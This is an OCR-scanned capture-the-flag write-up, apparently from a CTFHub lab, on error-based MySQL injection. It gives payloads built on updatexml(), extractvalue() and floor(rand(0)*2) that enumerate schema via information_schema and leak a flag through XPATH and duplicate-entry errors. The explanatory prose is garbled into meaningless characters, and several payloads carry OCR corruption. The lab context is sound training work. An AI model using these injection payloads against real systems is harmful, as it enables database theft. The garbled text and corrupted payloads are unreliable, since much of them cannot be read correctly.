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AB: updatexml() F&—/ Mt FH AR [ BIxmiIAR 2 DT AC A 25 Bexml £ 6 50
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i&¥: updatexml(XML_document, XPath_string, new_value) FHE—/ZH: & string #3, AXMLICEEN R LR, X
FADoc A H: RE Bk, XpathiE R ZRF &G an/tite [@lang]l BB=ASE: string #83, BHRERINTE
FAEH B

JEHE: updatexml R, 2 xpath_string #RHIEE IR, mysql MR HxpathiBik451R= ( xpath syntax )

Blim: select * from test where ide = 1 and (updatexml(1,0x7e,3)); HT ox7e & ~, B TFxpathiBiEER, Fit
# HxpathiE k412 .

DIFREHEMRIE: (ETERE) SEEX!

Updatexmlif4EiEAN

mysgl> select updatexml(@,concat(@x7e,(select database
ERROR 1105 (HY@@Q): XPATH syntax error:

extractvalue()& 3t

A IR BN B ARXMLA R B8 2 W E 7 745

& extractvalue(XML_document, xpath_string) BB—ANSH: string R, AXMLXEMRHLIR, B -5
¥: xpath_string (xpathlRHIFFHE) select * from test where id=1 and (extractvalue(1,concat(@x7e, (select
user()),0x7e)));

fER: extractvalue B} 24 xpath_string AR H B4R, mysqlll] &4 HxpathiB k4R ( xpath syntax )
Blim: select user,password from users where user_id=1 and (extractvalue(l,0x7e));
*EHE . *HTF ox7e B ~ NBE FxpathiBik g, FIbik HxpathiE ki iz,

DITFABEEMRImE: (ETERE -

extractvaluefR4EiEAN

mysgl> select extractvalue(1,concat(@x5c, (select database
ERROR 1105 (HY@0Q): XPATH syntax error:

floor()iR & VEAN
floor() &5 HENEE (MAEMBR) -

A4 ZAE FH floorflrand:

SELECT rand
HE 0 F 1 2 6] 1) FE B

SELECT rand(@
HT4A T — YR 70, FEAERKE AN IhFEHLEC [E 2 80.15522042769493574

LR, BT tablel MR, ZRP—HEANEE, HATUU FsqliEHy
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rand(0 tablel
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rand(0)
0.15522042769493574
0.620881741513388
0.6387474552157777
0.33109208227236947

£ IRIAT ZsqliEH) SELECT rand(©) FROM tablel; , iR[H {145 R # 0 EEIFIR.

TR, % rand(0) BN floor(rand(0)*2) B, sqliBA)BEUnT
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i XA rand B EASEZRYE G RAE Frand ) #3E, ZESHITEZ O .

EXBMEEMAE, group by #AT/ARF, floor(rand(e)*2) $AT—IR (BEFHRBHEE) , MREUERPAEEZSA,
ALERENFT A AIOHE floor(rand(0)*2) BENIHE T —WR. (HE7E Bk rand(0) PEAEZANBIRIONRE, HEEWEHE%. R
Z rand(0) #AAH, —ESFEHHED -

-

3 group by XM HHET HRIEE, HEBEE-MEO, KO0 AFE, TRREBASH, REX
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Error based Query Injection

mysqgl users id=1 1 concat_ws(0@x7e,version floor(rand(@)*2 min(©@

1
ERROR 1062 (23000): entry

mysqlif)floor()HREEFEN T LT 44 | AMriend IR GXANBRHRLF! D
MysqliR 45 7E N R B4 (count()s rand(). group by) - Pt 224 - 4T BEEH
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WriteUp

TTHEH, RnfERAREEN:

SQL #REEEN
ID | &1idis? ‘

BN L, oRiRkEE WEWT:

SQL #REEEN
D T IliHHIEIII

select * from news where id=1"
EJAEIR: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near "'
at line 1

FE— (fF fupdatexmBIR &5 EN)D
Ff -

updatexml HREEEN T REIEA]:

updatexml(1,c-oncat(0x7e, (XEIHEEsqliEA]),0x7e),1

T 75 A updatexmiik & A KIS &2
H SR AT HE E
1 or (updatexml(l,concat(@x7e, (database()),0x7e),1))

SERWT, HATPTAEREIEEN sqli

SQL #REEEN

ID | 1 or (updatexml(1,concat(0x7e,(database()),0x7e),1)) ‘

select * from news where id=1 or (updatexml(1,concat(ex7e,(database()),0x7e),1))
HIFFEIR: XPATH syntax error: '~sqli~'

B 2T sqld B BE B TR B R

1 or (updatexml(1,concat(@x7e,(select group_concat(table name) from information_schema.tables where

table_schema='sqli'),0x7e),1))

ZRINT, sqli BHEESAE news LK flag BANEITER



SQL #EEEN

ID | 1or (update|>cm|(1,concat(OX?e,(select group_concat(table_name) from information_schema.tables where table_schema="sgli"),0x7. ‘

select * from news where id=1 or (updatexml(1,concat(ex7e,(select group concat(table name) from information schema.tables where
table schema="sqli'),ex7e),1))
EAFaIR: XPATH syntax error: '~news,flag~'

FHEERL flag BERPHFR

1 or (updatexml(1l,concat(@x7e,(select group_concat(column_name) from information_schema.columns where

table_name='flag'),0x7e),1))

ZRINT, sqli BIEEFH flag BIERFHE —NFEN flag

SQL RFEIEAN
=V}
ID | 1 or (updatexml(1,concat(0x7e,(select group concat(column_name) from information_schema.columns where table name="flag"),i ‘

select * from news where id=1 or (updatexml(1,concat(ex7e,(select group_concat(column_name) from information_schema.columns where
table name="flag®),ex7e),1))
EHEIS: XPATH syntax error: '~flag~"

BJGEBH flag FBHHIAR
1 or (updatexml(l,concat(@x7e,(select group_concat(flag) from sqli.flag),0x7e),1))

SR

sQL #REEEAN
=}
ID 1 or (updatexml(1,concat(Ox7e,(select group_concat(flag) from sqli.flag),0x7e),1))

select * from news where id=1 or (updatexml({1,concat(ex7e,(select group_concat(flag) from sqli.flag),ex7e),1))
Ealais: XPATH syntax error: '~ctfhub{e91e73fb1deabad4adec3699'

ERXANRREI T — M EE, flagiiF Ersse

HPXA F R R 2 updatexml SEEFEN, R4S B B & £ A 3260

XA AT CLE A substr BREL, H30A B BRI E8 2 BRE H >k

1 or (updatexml(1,concat(@x7e,(select substr(group_concat(flag),25,18) from sqli.flag),ex7e),1))
CNFE2507 T 48 HU1 0 745D
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sQL #EEEEN
=V
ID 1 or (updatexml(1,concat(0x7e,(select substr(group_concat(flag),25,10) from sqli.flag),0x7¢),1))

select * from news where id=1 or (updatexml(1,concat(@x7e,(select substr(group_concat(flag),25,1@) from sqli.flag),ex7e),1))
EjH)fEiR: XPATH syntax error: '~dec3699}~'

WIGHIR, MELTHflaghf Enwse, BTEREH LY, XK, fagthIERHK

flag : ctfhub{e91e73fbldeabad4adec3699

FHik— (ff fextractvaluedR &% N )

Bt -

extractvalue IREETEN T REIEA):

1 extractvalue(1,concat(0x7e, (X BIEHEsqliEH]

extractvalue fl updatexml FRERML, XEMAMCREEHENTET

FEEREWR, extractvalue fl update —#f, REEEE R BR324, Kk, FFEFEMH substr BEL K G FBHflagEE
ik

payload:
1 and (extractvalue(1,concat(@x7e, (select flag from flag))))

R

SQL fREEEN
=V
ID 1 and (extractvalue(1,concat(0x7e,(select flag from flag))))

select * from news where id=1 and (extractvalue(l,concat(ex7e,(select flag from flag))))
EiaEiR: XPATH syntax error: "~ctfhub{e91e73fb1deabad4adec3699’

FHE=E (i HfloorikR &N
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floor WAEIENTIREIEA):

1 group by concat_ws(0x7e, (XBIHEsqliEH)),floor(rand(8)*2)) having min(@

1 select 1 from(select count concat ((XEIEEsqliEH]),floor(rand(0)*2))x from information_schema.tables g

roup by x)a

T 75 R A floorik H A IS 2



THHEEBERYS

1 or (select 1 from(select count(*),concat((select table name from information_schema.tables where

table_schema=database()),floor(rand(0)*2))x from information_schema.tables group by x)a)

ZRWT:

SQL REEFEN

1D |1 or (select 1 from(select count(*),concat((select table_name from information_schema.tables where table_schema=database()),flc

select * from news where id=1 or (select 1 from(select count(*),concat((select table_name from information_schema.tables where

table schema=database()),floor(rand(®)*2))x from information schema.tables group by x)a)
EHFEIR: Subquery returns more than 1 row

Bon, BEIZGREITT, KRRMER linit 24T R

1 and (select 1 from(select count(*),concat((select table name from information_schema.tables where

table_schema=database() limit ©,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

SQL RFEEA

ID | ‘mation_schema.tables where table schema=database() limit 0,1),floor(rand(0)*2))x from information _schema.tables group by x)a) ‘

select * from news where id=1 and(select 1 from(select count(*),concat((select table_name from information_schema.tables where

table_schema=database() limit e,1),floor(rand(@)*2))x from information_schema.tables group by x)a)
H iR Duplicate entry 'news1' for key 'group_key'

BB —A news K, FEE news N 1 BPHE LEN, TR-RERSL
B¥ limit 0,1 XA limit 1,2

1 and(select 1 from(select count(*),concat((select table _name from information_schema.tables where

table_schema=database() limit 1,2),floor(rand(0)*2))x from information_schema.tables group by x)a)

ZRWT: BE—A flag HER

SQL #REEEN

ID | 1 and(select 1 from(select count(*),concat((select table_name from information_schema.tables where table_schema=database() lir

select * from news where id=1 and(select 1 from(select count(*),concat((select table_name from information_schema.tables where

table_schema=database() limit 1,2),floor(rand(@)*2))x from information_schema.tables group by x)a)
HBFEIR: Duplicate entry ‘flag1’ for key 'group_key'

RIEHEW flag BIERTHTBA

1 and (select 1 from(select count(*),concat((select column_name from information_schema.columns where

table_name="flag"),floor(rand(@)*2))x from information_schema.tables group by x)a)



SQL #REEEN

ID | ne from information_schema.columns where table_name="flag") floor(rand(0)*2))x from information_schema.tables group by x)a)|

select * from news where id=1 and(select 1 from(select count(*),concat((select column_name from information_schema.columns where
table_name="flag"),floor(rand(®)*2))x from information_schema.tables group by x)a)
HHFEIR: Duplicate entry 'flag1’ for key 'group_key'

BEI—A flag FB, HERE flag FRPHE

1 and (select 1 from(select count(*),concat((select flag from flag),floor(rand(@)*2))x from

information_schema.tables group by x)a)

SQL #REEEN

ID | 1 and (select 1 from(select count(*),concat((select flag from flag),floor(rand(0)*2))x from information_schema.tables group by x)a)

select * from news where id=1 and (select 1 from(select count(*),concat((select flag from flag),floor(rand(@)*2))x from
information schema.tables group by x)a)
HEigfaix Duplicate entry 'ctthub{e91e73fb1deabad4adec3699}1" for key 'group_key'
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